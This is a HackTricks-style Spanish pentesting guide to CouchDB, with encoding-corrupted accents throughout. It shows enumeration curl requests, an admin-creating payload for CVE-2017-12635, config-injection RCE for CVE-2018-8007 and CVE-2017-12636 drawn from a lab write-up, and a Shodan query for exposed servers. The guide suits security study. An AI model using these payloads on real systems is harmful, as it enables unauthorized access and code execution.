5984,6984 - Pentesting CouchDB
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Informaci贸n B谩sica
CouchDB es una base de datos orientada a documentos vers谩til y poderosa que organiza los datos utilizando una estructura de mapa clave-valor dentro de cada documento. Los campos dentro del documento pueden representarse como pares clave/valor, listas o mapas, proporcionando flexibilidad en el almacenamiento y recuperaci贸n de datos.
Cada documento almacenado en CouchDB se le asigna un identificador 煤nico (_id
) a nivel de documento. Adem谩s, cada modificaci贸n realizada y guardada en la base de datos se le asigna un n煤mero de revisi贸n (_rev
). Este n煤mero de revisi贸n permite un seguimiento y gesti贸n eficientes de los cambios, facilitando la recuperaci贸n y sincronizaci贸n de datos dentro de la base de datos.
Puerto por defecto: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
Enumeraci贸n Autom谩tica
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
Enumeraci贸n Manual
Banner
curl http://IP:5984/
Esto emite una solicitud GET a la instancia de CouchDB instalada. La respuesta deber铆a verse algo as铆 como una de las siguientes:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
note
Tenga en cuenta que si al acceder a la ra铆z de couchdb recibe un 401 Unauthorized
con algo como esto: {"error":"unauthorized","reason":"Authentication required."}
no podr谩 acceder al banner ni a ning煤n otro endpoint.
Info Enumeration
Estos son los endpoints a los que puede acceder con una GET request y extraer informaci贸n interesante. Puede encontrar m谩s endpoints y descripciones m谩s detalladas en la documentaci贸n de couchdb.
/_active_tasks
Lista de tareas en ejecuci贸n, incluyendo el tipo de tarea, nombre, estado e ID de proceso./_all_dbs
Devuelve una lista de todas las bases de datos en la instancia de CouchDB.- **
/_cluster_setup
** Devuelve el estado del nodo o cl煤ster, seg煤n el asistente de configuraci贸n del cl煤ster. /_db_updates
Devuelve una lista de todos los eventos de base de datos en la instancia de CouchDB. La existencia de la base de datos_global_changes
es necesaria para usar este endpoint./_membership
Muestra los nodos que son parte del cl煤ster comocluster_nodes
. El campoall_nodes
muestra todos los nodos que este nodo conoce, incluyendo los que son parte del cl煤ster./_scheduler/jobs
Lista de trabajos de replicaci贸n. Cada descripci贸n de trabajo incluir谩 informaci贸n de origen y destino, ID de replicaci贸n, un historial de eventos recientes y algunas otras cosas./_scheduler/docs
Lista de estados de documentos de replicaci贸n. Incluye informaci贸n sobre todos los documentos, incluso en estadoscompleted
yfailed
. Para cada documento, devuelve el ID del documento, la base de datos, el ID de replicaci贸n, origen y destino, y otra informaci贸n./_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
El endpoint/_node/{node-name}
se puede usar para confirmar el nombre del nodo Erlang del servidor que procesa la solicitud. Esto es m谩s 煤til al acceder a/_node/_local
para recuperar esta informaci贸n./_node/{node-name}/_stats
El recurso_stats
devuelve un objeto JSON que contiene las estad铆sticas del servidor en ejecuci贸n. La cadena literal_local
sirve como un alias para el nombre del nodo local, por lo que para todas las URL de estad铆sticas,{node-name}
puede ser reemplazado por_local
, para interactuar con las estad铆sticas del nodo local./_node/{node-name}/_system
El recurso _system devuelve un objeto JSON que contiene varias estad铆sticas a nivel de sistema para el servidor en ejecuci贸n_._ Puede usar ___local
como {node-name} para obtener informaci贸n del nodo actual./_node/{node-name}/_restart
/_up
Confirma que el servidor est谩 activo, en funcionamiento y listo para responder a solicitudes. Simaintenance_mode
estrue
onolb
, el endpoint devolver谩 una respuesta 404.- **
/_uuids
** Solicita uno o m谩s Identificadores 脷nicos Universales (UUIDs) de la instancia de CouchDB. - **
/_reshard
** Devuelve un conteo de trabajos completados, fallidos, en ejecuci贸n, detenidos y totales junto con el estado de re-particionamiento en el cl煤ster.
Se puede extraer informaci贸n m谩s interesante como se explica aqu铆: https://lzone.de/cheat-sheet/CouchDB
Database List
curl -X GET http://IP:5984/_all_dbs
Si esa solicitud responde con un 401 no autorizado, entonces necesitas algunas credenciales v谩lidas para acceder a la base de datos:
curl -X GET http://user:password@IP:5984/_all_dbs
Para encontrar credenciales v谩lidas, podr铆as intentar forzar el servicio.
Este es un ejemplo de una respuesta de couchdb cuando tienes suficientes privilegios para listar bases de datos (Es solo una lista de dbs):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Informaci贸n de la Base de Datos
Puedes obtener informaci贸n de la base de datos (como el n煤mero de archivos y tama帽os) accediendo al nombre de la base de datos:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
Lista de Documentos
Enumera cada entrada dentro de una base de datos
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
Leer Documento
Leer el contenido de un documento dentro de una base de datos:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
Escalaci贸n de privilegios en CouchDB CVE-2017-12635
Gracias a las diferencias entre los analizadores JSON de Erlang y JavaScript, podr铆as crear un usuario administrador con las credenciales hacktricks:hacktricks
con la siguiente solicitud:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
M谩s informaci贸n sobre esta vulnerabilidad aqu铆.
CouchDB RCE
Descripci贸n general de la seguridad del cookie de Erlang
Ejemplo de aqu铆.
En la documentaci贸n de CouchDB, espec铆ficamente en la secci贸n sobre la configuraci贸n del cl煤ster (link), se discute el uso de puertos por CouchDB en modo cl煤ster. Se menciona que, al igual que en modo independiente, se utiliza el puerto 5984
. Adem谩s, el puerto 5986
es para APIs locales de nodo, y lo m谩s importante, Erlang requiere el puerto TCP 4369
para el Demonio de Mapeo de Puertos de Erlang (EPMD), facilitando la comunicaci贸n entre nodos dentro de un cl煤ster de Erlang. Esta configuraci贸n forma una red donde cada nodo est谩 interconectado con todos los dem谩s nodos.
Se destaca un aviso de seguridad crucial respecto al puerto 4369
. Si este puerto se hace accesible a trav茅s de Internet o cualquier red no confiable, la seguridad del sistema depende en gran medida de un identificador 煤nico conocido como "cookie". Esta cookie act煤a como una salvaguarda. Por ejemplo, en una lista de procesos dada, se podr铆a observar la cookie llamada "monster", lo que indica su papel operativo en el marco de seguridad del sistema.
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
Para aquellos interesados en entender c贸mo se puede explotar esta "cookie" para la Ejecuci贸n Remota de C贸digo (RCE) en el contexto de sistemas Erlang, hay una secci贸n dedicada disponible para una lectura m谩s profunda. Detalla las metodolog铆as para aprovechar las cookies de Erlang de maneras no autorizadas para lograr el control sobre los sistemas. Puedes explorar la gu铆a detallada sobre el abuso de cookies de Erlang para RCE aqu铆.
Explotando CVE-2018-8007 a trav茅s de la Modificaci贸n de local.ini
Ejemplo de aqu铆.
Se explor贸 una vulnerabilidad recientemente divulgada, CVE-2018-8007, que afecta a Apache CouchDB, revelando que la explotaci贸n requiere permisos de escritura en el archivo local.ini
. Aunque no es directamente aplicable al sistema objetivo inicial debido a restricciones de seguridad, se realizaron modificaciones para otorgar acceso de escritura al archivo local.ini
con fines de exploraci贸n. A continuaci贸n se proporcionan pasos detallados y ejemplos de c贸digo que demuestran el proceso.
Primero, se prepara el entorno asegurando que el archivo local.ini
sea escribible, verificado al listar los permisos:
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
Para explotar la vulnerabilidad, se ejecuta un comando curl, dirigido a la configuraci贸n cors/origins
en local.ini
. Esto inyecta un nuevo origen junto con comandos adicionales bajo la secci贸n [os_daemons]
, con el objetivo de ejecutar c贸digo arbitrario:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
La verificaci贸n subsiguiente muestra la configuraci贸n inyectada en local.ini
, contrast谩ndola con una copia de seguridad para resaltar los cambios:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
Inicialmente, el archivo esperado (/tmp/0xdf
) no existe, lo que indica que el comando inyectado a煤n no se ha ejecutado. Una investigaci贸n adicional revela que hay procesos relacionados con CouchDB en ejecuci贸n, incluyendo uno que podr铆a potencialmente ejecutar el comando inyectado:
root@canape:/home/homer/bin# ps aux | grep couch
Al terminar el proceso de CouchDB identificado y permitir que el sistema lo reinicie autom谩ticamente, se activa la ejecuci贸n del comando inyectado, confirmado por la existencia del archivo que faltaba anteriormente:
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
Esta exploraci贸n confirma la viabilidad de la explotaci贸n de CVE-2018-8007 bajo condiciones espec铆ficas, notablemente el requisito de acceso escribible al archivo local.ini
. Los ejemplos de c贸digo proporcionados y los pasos procedimentales ofrecen una gu铆a clara para replicar el exploit en un entorno controlado.
Para m谩s detalles sobre CVE-2018-8007, consulte el aviso de mdsec: CVE-2018-8007.
Explorando CVE-2017-12636 con permisos de escritura en local.ini
Ejemplo de aqu铆.
Se explor贸 una vulnerabilidad conocida como CVE-2017-12636, que permite la ejecuci贸n de c贸digo a trav茅s del proceso de CouchDB, aunque configuraciones espec铆ficas pueden prevenir su explotaci贸n. A pesar de las numerosas referencias de Prueba de Concepto (POC) disponibles en l铆nea, son necesarios ajustes para explotar la vulnerabilidad en la versi贸n 2 de CouchDB, que difiere de la versi贸n 1.x com煤nmente atacada. Los pasos iniciales implican verificar la versi贸n de CouchDB y confirmar la ausencia de la ruta de servidores de consulta esperada:
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
Para acomodar la versi贸n 2.0 de CouchDB, se utiliza una nueva ruta:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
Los intentos de agregar e invocar un nuevo servidor de consultas se encontraron con errores relacionados con permisos, como se indica en la siguiente salida:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Una investigaci贸n adicional revel贸 problemas de permisos con el archivo local.ini
, que no era escribible. Al modificar los permisos del archivo con acceso root o homer, se volvi贸 posible continuar:
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
Los intentos posteriores de agregar el servidor de consultas tuvieron 茅xito, como lo demuestra la falta de mensajes de error en la respuesta. La modificaci贸n exitosa del archivo local.ini
se confirm贸 a trav茅s de la comparaci贸n de archivos:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
El proceso continu贸 con la creaci贸n de una base de datos y un documento, seguido de un intento de ejecutar c贸digo a trav茅s de un mapeo de vista personalizado al servidor de consultas reci茅n agregado:
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
Un resumen con una carga 煤til alternativa proporciona m谩s informaci贸n sobre la explotaci贸n de CVE-2017-12636 bajo condiciones espec铆ficas. Recursos 煤tiles para explotar esta vulnerabilidad incluyen:
Shodan
port:5984 couchdb
Referencias
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.